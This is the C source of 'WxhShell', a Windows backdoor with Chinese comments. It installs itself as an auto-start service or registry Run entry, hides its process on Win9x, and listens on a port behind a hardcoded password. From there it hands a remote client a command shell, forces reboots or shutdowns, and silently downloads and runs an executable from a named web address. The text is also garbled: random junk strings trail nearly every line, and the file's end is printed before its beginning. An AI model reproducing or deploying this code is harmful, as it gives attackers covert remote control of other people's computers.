    closesocket(wsh); c@7hLUaE2  
    ExitThread(0); O f@#VZ  
    } {dXBXC/Ju  
    break; '\B"g@if  
    } "nno)~)u  
  // 获取shell _i@eOqoC  
  case 's': { B~z g"  
    CmdShell(wsh); =L),V~b  
    closesocket(wsh); qU*&49X  
    ExitThread(0); ]\,uF8gg)  
    break; UH-uU~  
  } {FY[|:Cp  
  // 退出 eSNSnh]'  
  case 'x': { '#PqI)P  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 3,L3C9V'  
    CloseIt(wsh); Y*cJ4hQ  
    break; -Dxhq& }Y  
    } Wo+CQH6(  
  // 离开 \R\@t] >Y  
  case 'q': { ]j2v"n  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); D *I;|.=u  
    closesocket(wsh); tK}p05nPhl  
    WSACleanup(); ]_: TrH  
    exit(1); ]'!xc9KGR  
    break; #lshN,CPm  
        } pNE\@U|4E  
  } :@%-f:iDj  
  } Xu94v{u3  
Iei7!KLW  
  // 提示信息 + i@yZfT  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); O< tnM<"(  
} k3>ur>aW  
  } #>m, Cm  
Q|= Q]$d  
  return; .d~]e2x  
} xPDA475Cw3  
Vx6? @R  
// shell模块句柄 O(D5A?tv!  
int CmdShell(SOCKET sock) ]r6BLZ[%  
{ A` o?+2s_  
STARTUPINFO si; BnaU)E h  
ZeroMemory(&si,sizeof(si)); ,> (bt%b  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; }x?H ~QQT  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 1KYbL8c  
PROCESS_INFORMATION ProcessInfo; 8S1P&+iKs  
char cmdline[]="cmd"; En,)}yI  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ^\[LrPq e  
  return 0; 12tJrS*Z  
} ? %+VG  
Uc&6=5~Ys\  
// 自身启动模式 D,dHP-v  
int StartFromService(void) +-aU+7tu  
{ \7t5U7v8U  
typedef struct <cDKGd  
{ C](z#c~c  
  DWORD ExitStatus; i'Y'HI  
  DWORD PebBaseAddress; cNuHXaWp  
  DWORD AffinityMask; k~1j/VHv  
  DWORD BasePriority; oT|P1t.  
  ULONG UniqueProcessId; j(%gMVu  
  ULONG InheritedFromUniqueProcessId; C '-zh\a  
}   PROCESS_BASIC_INFORMATION; OHHNWg_5  
," C[Qg(  
PROCNTQSIP NtQueryInformationProcess; y^ X\^Kq  
XJmFJafQD  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; &gA6+b'  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 29Z!p2{hk  
T,WKo B  
  HANDLE             hProcess; bvip bf[m<  
  PROCESS_BASIC_INFORMATION pbi; nxyjL)!)0  
/i{tS`[F2a  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ~IlF*Zz#}6  
  if(NULL == hInst ) return 0; oI_oz0nHk  
-v;n"Zy1  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); F<yy>Wf  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); q}<.x8\  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); $bZu^d,  
*|LbbRu  
  if (!NtQueryInformationProcess) return 0; E[jXUOu-  
Q(IJD4  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); R%b*EBZ  
  if(!hProcess) return 0; |oe!P}u  
` URSv,(  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; t{R5 EU  
+X:J]- 1)  
  CloseHandle(hProcess); K,eqD<  
U#;51 _  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); HQ^9 [HN.  
if(hProcess==NULL) return 0; a[1sA12  
Pqy-gWOv  
HMODULE hMod; N>d|A]zH  
char procName[255]; \}$*}gW[}  
unsigned long cbNeeded; RDs,sj/Y9?  
Y&vHOA  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); jDlA<1  
G;(onJz  
  CloseHandle(hProcess); y$IaXr5L  
(O8,zqP9l  
if(strstr(procName,"services")) return 1; // 以服务启动 L!;^ #g  
6P;o 6s  
  return 0; // 注册表启动 -6rf( ER  
} SkiJ pMN  
7fTxGm  
// 主模块 1@A7h$1P  
int StartWxhshell(LPSTR lpCmdLine) -|m$YrzG  
{ #_.g2 Y  
  SOCKET wsl; koOyZ>  
BOOL val=TRUE; jrm0@K+<IA  
  int port=0; ?SC3Vzr  
  struct sockaddr_in door; uu}a:qrY  
1P_Fe[8  
  if(wscfg.ws_autoins) Install();  5ZnSA9?  
Y 3o^Euou  
port=atoi(lpCmdLine); +w "XNl  
=m`l%V[  
if(port<=0) port=wscfg.ws_port; EfKM*;A  
[O=W>l  
  WSADATA data; "A%MVym."  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 9;=q=O/  
U r^YG4(  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   C/F@ ]_y  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 3YR* ^  
  door.sin_family = AF_INET; 6#<Ir @z  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); c}\ ' x5:o  
  door.sin_port = htons(port); U? 8i'5)  
$"Afy)Ir  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { fO*)LPen.z  
closesocket(wsl); " Wp   
return 1; <O;&qT*b  
} &oA~ Tx  
k_]\(myq  
  if(listen(wsl,2) == INVALID_SOCKET) { 5B%w]n  
closesocket(wsl); GGCqtA^@7d  
return 1; Js/N()X  
} 6hZ.{8e0  
  Wxhshell(wsl); YVoao#!  
  WSACleanup(); [ L  
p` $fTgm  
return 0; Jf2e<?`  
mv{<'  
} s~L`53A  
x@h tx?   
// 以NT服务方式启动 J;S-+  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) eaEbH2J  
{ W+KF2(lB  
DWORD   status = 0; +|6`E3j%  
  DWORD   specificError = 0xfffffff; O{~KR/  
Fav?,Q,n  
  serviceStatus.dwServiceType     = SERVICE_WIN32; {Jrf/p9w  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; JlUb0{8PE  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; vyE{WkZxR  
  serviceStatus.dwWin32ExitCode     = 0; 5\WUoSgy  
  serviceStatus.dwServiceSpecificExitCode = 0; WhH!U0  
  serviceStatus.dwCheckPoint       = 0; N8VVGPa  
  serviceStatus.dwWaitHint       = 0; hje! w`  
/w0sj`;"  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); a_Jb> }  
  if (hServiceStatusHandle==0) return; nh<Z1tMU  
GSP?X$E  
status = GetLastError(); YNI;h%w  
  if (status!=NO_ERROR) yx2z%E  
{ YV-j/U{&  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 1DUb [W8  
    serviceStatus.dwCheckPoint       = 0; q]K'p,'  
    serviceStatus.dwWaitHint       = 0; "rsSW 3_  
    serviceStatus.dwWin32ExitCode     = status; 6.[)`iF+#  
    serviceStatus.dwServiceSpecificExitCode = specificError; ?H`j>]%&  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 6F(hY !}5  
    return; wZQ)jo7*g  
  } ^_sQG  
[P{a_(  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; / $_M@>  
  serviceStatus.dwCheckPoint       = 0; [_V:)  
  serviceStatus.dwWaitHint       = 0; K U $`!h  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); >zQOK-  
} 88+ =F XG  
;= a_B1"9u  
// 处理NT服务事件,比如:启动、停止 fH[Wkif  
VOID WINAPI NTServiceHandler(DWORD fdwControl) TKo<~?  
{ 33 : @*  
switch(fdwControl) ypl G18  
{ \9w~pO  
case SERVICE_CONTROL_STOP: K3L"^a  
  serviceStatus.dwWin32ExitCode = 0; .%IslLZ  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; $Zxt&a  
  serviceStatus.dwCheckPoint   = 0;  t!jYu<P  
  serviceStatus.dwWaitHint     = 0; "TNVD"RLY  
  { QXs8:;T  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); q6R Eh;$  
  } Cc Y7$D  
  return; 0\Y1}C  
case SERVICE_CONTROL_PAUSE: DHv2&zH  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ^^U%cuKg  
  break; pM9yOY  
case SERVICE_CONTROL_CONTINUE: 2e59Ez%k6  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ^&Q< tN 7  
  break; E=]]b;u-n  
case SERVICE_CONTROL_INTERROGATE: &<Zdyf?[Ou  
  break; 8eN7VT eb  
}; \x(^]/@  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); f}iU& 3S  
} dw9T f^V  
+P)ys#=  
// 标准应用程序主函数 {~'H  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) &iBNO,v  
{ !zR)D|w&  
w#9_eq|3  
// 获取操作系统版本 n'M>xq_  
OsIsNt=GetOsVer(); o/^1Wm=  
GetModuleFileName(NULL,ExeFile,MAX_PATH); :^#vxdIC?  
'1-maM\r  
  // 从命令行安装 =ewyQ  
  if(strpbrk(lpCmdLine,"iI")) Install(); :IZ"D40m"  
g*J@[y;  
  // 下载执行文件 ~x#vZ=]8  
if(wscfg.ws_downexe) { N}x9N.  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Xb,T{.3@  
  WinExec(wscfg.ws_filenam,SW_HIDE); JNi=`X&A  
} "}zt`3  
 q=4Bny0  
if(!OsIsNt) { Q|c|2byb  
// 如果时win9x,隐藏进程并且设置为注册表启动 i%F<AY\O)  
HideProc(); Z!_n_F k  
StartWxhshell(lpCmdLine); n Q-mmY>#  
} R,,Qt TGB  
else (`c G  
  if(StartFromService()) DpvrMI~I_  
  // 以服务方式启动 <#*.}w~  
  StartServiceCtrlDispatcher(DispatchTable); 3{ "O,h  
else .3X Y&6  
  // 普通方式启动 I 8z G~L%"  
  StartWxhshell(lpCmdLine); d:rGyA]  
$FX,zC<=  
return 0; g`[$Xi R  
} R\O.e  
x+7*ADKb  
l'"'o~MC  
snC/H G7  
=========================================== FnE6?~xa  
G3a7`CD  
wxdyF&U n  
24B<[lSK  
iKAusWj  
3i=Iu0  
" |8U;m:AS  
!Z|($21W  
#include <stdio.h> qINTCm j  
#include <string.h> izuF !9  
#include <windows.h> /{*$JF  
#include <winsock2.h> Ch5+N6c^  
#include <winsvc.h> :NE/Ddgc'  
#include <urlmon.h> f<=Fe:1.  
x?sI;kUw8  
#pragma comment (lib, "Ws2_32.lib") J=H)JH3  
#pragma comment (lib, "urlmon.lib") Z a(|(M H  
:_HF j.JW  
#define MAX_USER   100 // 最大客户端连接数 uM S*(L_  
#define BUF_SOCK   200 // sock buffer sn{tra  
#define KEY_BUFF   255 // 输入 buffer Mu&x_&|  
fk{0d  
#define REBOOT     0   // 重启 m4m<nnM  
#define SHUTDOWN   1   // 关机 |5MbAqjzC  
`^6 ,kI-c  
#define DEF_PORT   5000 // 监听端口 ~ap2m  
6q/ ?-Qcy  
#define REG_LEN     16   // 注册表键长度 :dwt1>  
#define SVC_LEN     80   // NT服务名长度 e.vtEQV9  
lr3mE  
// 从dll定义API d%ME@6K)  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Hj6'pJ4  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ue{xnjw>U  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ,={t8lN  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); {' 5qv@3  
wT_h!W  
// wxhshell配置信息 .%}+R|g  
struct WSCFG { =.Tv)/ea  
  int ws_port;         // 监听端口 ]l;*$2w)  
  char ws_passstr[REG_LEN]; // 口令 +!yX T C  
  int ws_autoins;       // 安装标记, 1=yes 0=no bw S*]!*  
  char ws_regname[REG_LEN]; // 注册表键名 z&}-8JykH  
  char ws_svcname[REG_LEN]; // 服务名 go'j/4Tp  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 /'wF2UR  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 :dnJY%/q  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 bF-"tm  
int ws_downexe;       // 下载执行标记, 1=yes 0=no VaLs`q&3>  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" E6A /SVp  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ;[ 'a  
MesRa(  
}; ,o#kRWRG  
HdX2YPYn;  
// default Wxhshell configuration 8%:]W^  
struct WSCFG wscfg={DEF_PORT, ))T>jh   
    "xuhuanlingzhe", WAPhv-6  
    1, S#l5y%&  
    "Wxhshell", p]T"|!d  
    "Wxhshell", jvwwJ<K  
            "WxhShell Service", D E/:['  
    "Wrsky Windows CmdShell Service", E"PcrWB&  
    "Please Input Your Password: ", Xm!-~n@-m7  
  1, *?% k#S  
  "http://www.wrsky.com/wxhshell.exe", egR-w[{  
  "Wxhshell.exe" QlZ@ To  
    }; ^ c%N/V \  
T.:+3:8|F  
// 消息定义模块 B80aw>M  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; e %O0hE  
char *msg_ws_prompt="\n\r? for help\n\r#>"; k$i'v:c|:i  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; =o7}]k7  
char *msg_ws_ext="\n\rExit."; 4P8*k[.  
char *msg_ws_end="\n\rQuit."; zsQoU&D 5  
char *msg_ws_boot="\n\rReboot..."; l*=aMjd?  
char *msg_ws_poff="\n\rShutdown..."; EqB)sK/3  
char *msg_ws_down="\n\rSave to "; N{Qxq>6 G  
,xsH|xW  
char *msg_ws_err="\n\rErr!"; ip:LcGt  
char *msg_ws_ok="\n\rOK!"; ;;U :Jtn2  
9Kv|>#zff  
char ExeFile[MAX_PATH]; b[ w;i]2  
int nUser = 0; !CY&{LEYn0  
HANDLE handles[MAX_USER]; q_fam,9  
int OsIsNt; }JgYCsF/f  
8|g<X1H{M  
SERVICE_STATUS       serviceStatus; 8y2+&#$  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; dK9Zg,DZL  
]uh3R{a/  
// 函数声明 LHYLC>J  
int Install(void); X$n(-65  
int Uninstall(void); nv/[I,nw  
int DownloadFile(char *sURL, SOCKET wsh); 7/Il L  
int Boot(int flag); 3iNkoBCg  
void HideProc(void); $lwz-^1t.  
int GetOsVer(void); f'Mop= .  
int Wxhshell(SOCKET wsl); YwDt.6(+,  
void TalkWithClient(void *cs); N_gD>6I  
int CmdShell(SOCKET sock); Bi%x`4Lf  
int StartFromService(void); 1NLg _UBOK  
int StartWxhshell(LPSTR lpCmdLine); `ldz`yu6++  
~/#1G.H  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); mTDVlw0dh  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); e@<?zS6  
7(a2L&k^  
// 数据结构和表定义 b1?xeG#  
SERVICE_TABLE_ENTRY DispatchTable[] = o^p  
{ Sv[5NZn0&  
{wscfg.ws_svcname, NTServiceMain}, #1nJ(-D+  
{NULL, NULL} &2.u%[gO[q  
}; =r. >N\  
P ,mN >  
// 自我安装 Gu0 ,)jy\  
int Install(void) # TkR  
{ QO;4}rq  
  char svExeFile[MAX_PATH]; :D:DnVZ-[@  
  HKEY key; b7:0#l$  
  strcpy(svExeFile,ExeFile); s][24)99  
[U{UW4  
// 如果是win9x系统,修改注册表设为自启动 &:#h$`4  
if(!OsIsNt) { =6nD sibf  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 5jcte< 5I_  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); S=|@L<O  
  RegCloseKey(key); L@Nu/(pB=  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { LRb, VD:/Y  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 4_?7&G0(  
  RegCloseKey(key); q OhO qV  
  return 0; {p<Zbm.  
    } ( )T[$.(  
  } G=9d&N  
} a:STQk V  
else { ^%T7.1'x  
io2)1cE&f  
// 如果是NT以上系统,安装为系统服务 \_6OCVil  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); vw>jJ  
if (schSCManager!=0) n$L51#'  
{ @ EuFJ=h  
  SC_HANDLE schService = CreateService !0VfbY9C  
  ( V&{MQWy  
  schSCManager, S_(d9GK<  
  wscfg.ws_svcname, KFRw67^  
  wscfg.ws_svcdisp, je,}_:7  
  SERVICE_ALL_ACCESS, = "ts`>  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , +a@GHx 4-  
  SERVICE_AUTO_START, %|W.^q  
  SERVICE_ERROR_NORMAL, l,|%7-  
  svExeFile, JH,/jR  
  NULL, sY SLmUZ{  
  NULL, RzKb{> ;A  
  NULL, NPnHH:\;  
  NULL, 1`0#HSO  
  NULL #s-iy+/1oN  
  ); )$%Z:  
  if (schService!=0) $D1w5o-  
  { RBKOM$7  
  CloseServiceHandle(schService); g2cVZ!GIj  
  CloseServiceHandle(schSCManager); xb2?lL]  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); tl yJmdl  
  strcat(svExeFile,wscfg.ws_svcname); T.e.{yO  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 7j<e)"  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); Dr3n+Q   
  RegCloseKey(key); m|tC24  
  return 0; s54nF\3V  
    } UPU+ver  
  } 2 !1.E5.I  
  CloseServiceHandle(schSCManager); 6]cryf&b  
} U%<rn(xWXD  
} }j5 a[L  
alMYk  
return 1;  l~s7Ae  
} lJ;J~>  
EV M7Q>  
// 自我卸载 NcS.49  
int Uninstall(void) w42OF7f  
{ zk_Eb?mhwV  
  HKEY key; :Sg&0Wj+#j  
.>g1 $rj  
if(!OsIsNt) { 6aO2:|:yP  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { +\ _{x/u1  
  RegDeleteValue(key,wscfg.ws_regname); eP1nUy=T  
  RegCloseKey(key); 5/><$06rq  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { X?r48l??  
  RegDeleteValue(key,wscfg.ws_regname); cV K7  
  RegCloseKey(key); 0rSIfYZa  
  return 0; \`.F\ Z  
  } {16<^  
} pE]?x $5U  
} ,V] ]: eR  
else { +ZsX*/TOn  
Y qdWctUY  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); U%B(5cC  
if (schSCManager!=0) b}!3;:iD  
{ rM}0%J'  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); S:Q! "U  
  if (schService!=0) ~^I> #Dd  
  { >>Ar$  
  if(DeleteService(schService)!=0) { b}9[s  
  CloseServiceHandle(schService); FwAKP>6*  
  CloseServiceHandle(schSCManager); \BV 0zKd  
  return 0; D0G-5}s`  
  } eitu!=u  
  CloseServiceHandle(schService); b8KsR=]4I  
  } c{#yx_)V&  
  CloseServiceHandle(schSCManager); \0;(VLN'U  
} *O$CaAr\s  
} f|EUqu%E  
7v}x?I  
return 1; 2RtHg_d_l  
} k8nLo.O  
qem(s</:  
// 从指定url下载文件 ,<,:8B  
int DownloadFile(char *sURL, SOCKET wsh) v5ur&egVs  
{ [] W;t\h  
  HRESULT hr; l3o#@sz:  
char seps[]= "/"; u0)7i.!M  
char *token; #G]!%  
char *file; FyL_xu\e  
char myURL[MAX_PATH]; e;YW6}'}  
char myFILE[MAX_PATH]; imL_lw^?  
b;mSQ4+  
strcpy(myURL,sURL); \u OdALZ  
  token=strtok(myURL,seps); iTo k[uJ}  
  while(token!=NULL) `s#Hq\C  
  { m`? MV\^  
    file=token; A1Y7;-D  
  token=strtok(NULL,seps); 2(!fg4#+  
  } KU9Z"9#  
Rf %HIAVE  
GetCurrentDirectory(MAX_PATH,myFILE); hjx)D  
strcat(myFILE, "\\"); NtGn88='{  
strcat(myFILE, file); cS .i  
  send(wsh,myFILE,strlen(myFILE),0); E4.SF|=x  
send(wsh,"...",3,0); Bvjl-$m!v  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); F51.N{'  
  if(hr==S_OK) &p UZDjo?  
return 0; q6P wZ_  
else U!5)5c}G  
return 1; neF]=uCWnT  
bF}V4"d,B3  
} Rhzn/\)|  
T5Eseesp  
// 系统电源模块 ?NNn:tiD  
int Boot(int flag) ~3h-jK?  
{ '(&%O8Yi  
  HANDLE hToken; JWP*>\P  
  TOKEN_PRIVILEGES tkp; V:NI4dv/R  
XJ0 {  
  if(OsIsNt) { U!w1AY|  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); nQK|n^AU/  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); hv$yV%.`  
    tkp.PrivilegeCount = 1; m#H3:-h,  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 4A`NJ  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); -|yb[~3  
if(flag==REBOOT) { AF,BwLN  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) HG >j5  
  return 0; Br>Fpe$q4  
} u~zs* qp  
else { lb' Cl3H  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) `'_m\uo  
  return 0; 7\ SUr9[  
} BZK`O/  
  } 4pz|1Hw7  
  else { }A$WO {2  
if(flag==REBOOT) { s Wjy6;  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ({}(qm  
  return 0; vdoZ&Tu  
} @MR?6n*k  
else { !hxIlVd{  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) X*oMFQgP  
  return 0; -]G(ms;}/Y  
} (LAXM x  
} 2i#Sn'1  
`:{B(+6  
return 1; p^m5`{1]x  
} 0Sl]!PZR1  
72 TI  
// win9x进程隐藏模块 uUR~&8ERX  
void HideProc(void) >ndJNinV  
{ "R #k~R  
woH)0v  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 72oWhX=M%  
  if ( hKernel != NULL ) s0UFym 8  
  { qd@&59zSh  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); )4Q?aMm  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); o;F" {RZ  
    FreeLibrary(hKernel); 6`01EIk  
  } hm$X]H`uMX  
^{@!['  
return; pe0x""K  
} Ft{[ae?4  
`xS{0P{uj  
// 获取操作系统版本 t-%Q`V=[  
int GetOsVer(void) [V# r7a  
{ ^S)TO}e  
  OSVERSIONINFO winfo; [(LV  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 1r[@(c0  
  GetVersionEx(&winfo); )QKf7 [:  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) {C*\O)Gep  
  return 1; u9-nt}hGYM  
  else 6&v? )o  
  return 0; }`_@'4:t  
} vy@rQC %9  
d~tuk4F  
// 客户端句柄模块 FXKF\1`( H  
int Wxhshell(SOCKET wsl) "HMP$)d  
{ G*[P <<je_  
  SOCKET wsh; cRvvzX  
  struct sockaddr_in client; 2R-A@UE2  
  DWORD myID; $.6K!x{(  
[}mA`5  
  while(nUser<MAX_USER) @* 1U{`  
{ TrVWv  
  int nSize=sizeof(client); ~IVd vm7  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); <T?oKOD ]  
  if(wsh==INVALID_SOCKET) return 1; OqhD7 +  
6V9doP]i  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); &`|:L(+  
if(handles[nUser]==0) ~K_Uq*dCE  
  closesocket(wsh); <{(/E0~V/<  
else ^o?SM^  
  nUser++; X##1! ad  
  } dHnR_.  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 6" T['6:j  
k ^'f[|}  
  return 0; ?q2j3e[>  
} UO`;&e-DB  
AtS;IRN@  
// 关闭 socket e`tLR- &  
void CloseIt(SOCKET wsh) H2gj=krK  
{ QA!_} N4n  
closesocket(wsh); s,VXc/  
nUser--; Upl6:xYrG  
ExitThread(0); |rRO@18dA  
} OY-w?'p?W  
~0"p*?^  
// 客户端请求句柄 iItcN;;7  
void TalkWithClient(void *cs) q*jNH\|  
{ c{ZY,C&<  
BI[JATZG  
  SOCKET wsh=(SOCKET)cs; ~i'Nqe_  
  char pwd[SVC_LEN]; ;Z[]{SQ  
  char cmd[KEY_BUFF]; V5}nOGV9  
char chr[1]; Qq-"Cg@-/  
int i,j; SD\= m/W  
/{2*WI;  
  while (nUser < MAX_USER) { t5k!W7C  
Myat{OF  
if(wscfg.ws_passstr) { dth&?/MERL  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 5@Bu99`  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ]36sZ *  
  //ZeroMemory(pwd,KEY_BUFF); ;.s l*q1A  
      i=0; t,)N('m}=  
  while(i<SVC_LEN) { bZ _mYyBh  
<<A`aU^fX  
  // 设置超时 _GQz!YA  
  fd_set FdRead; jo +w>  
  struct timeval TimeOut; | aQ"3d  
  FD_ZERO(&FdRead); EUYCcL'G  
  FD_SET(wsh,&FdRead); _:n b&B  
  TimeOut.tv_sec=8; Gm`}(;(A  
  TimeOut.tv_usec=0; TOF '2&H  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); vh!v MB}}  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); NIr@R7MKd  
k`HP "H  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 07T70[G  
  pwd=chr[0]; rI$`9d  
  if(chr[0]==0xd || chr[0]==0xa) { {)f~#37  
  pwd=0; UnDgu4#R`A  
  break; DQ.v+C,  
  } /(I*,.d  
  i++; 8qi+IGRg  
    } x Ha=3n  
!%<^K.wG  
  // 如果是非法用户,关闭 socket C) QKPT  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); EY`H}S!xy  
} g_*T?;!.U  
h<l1]h+x  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); E{xVc;t  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); XALI<ZY  
*MN HT`Y^o  
while(1) { a>4uiFiv  
2g*J  
  ZeroMemory(cmd,KEY_BUFF); I:(m aMc  
BIaDY<j90  
      // 自动支持客户端 telnet标准   h.rD}N\L  
  j=0; $h9='0Wi0'  
  while(j<KEY_BUFF) { `D( xv  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); /5AW?2)  
  cmd[j]=chr[0]; #0I{.Wy]  
  if(chr[0]==0xa || chr[0]==0xd) { |4)  
  cmd[j]=0; G |*(8r()  
  break; +,+vkpL-%  
  } WE}kTq  
  j++; Hs"(@eDV&J  
    } ;T]d M fO  
5 v^yQ<70  
  // 下载文件 $!vxVs9n  
  if(strstr(cmd,"http://")) { h)lPi   
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); b/$km?R  
  if(DownloadFile(cmd,wsh)) <q)4la  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 6Q4X 6U:WB  
  else IJOvnZ("A  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); rn@`yTw^  
  } pi(-A  
  else { v4Zb? Yb  
}g +;y  
    switch(cmd[0]) { 'PZ|:9FX!  
   9DQ)cy  
  // 帮助 TjWE_Bq]g  
  case '?': { DVZdClAL  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); >!e<}84b  
    break; 148V2H)  
  } ?[TfpAtQ`  
  // 安装 dCYCHHHF  
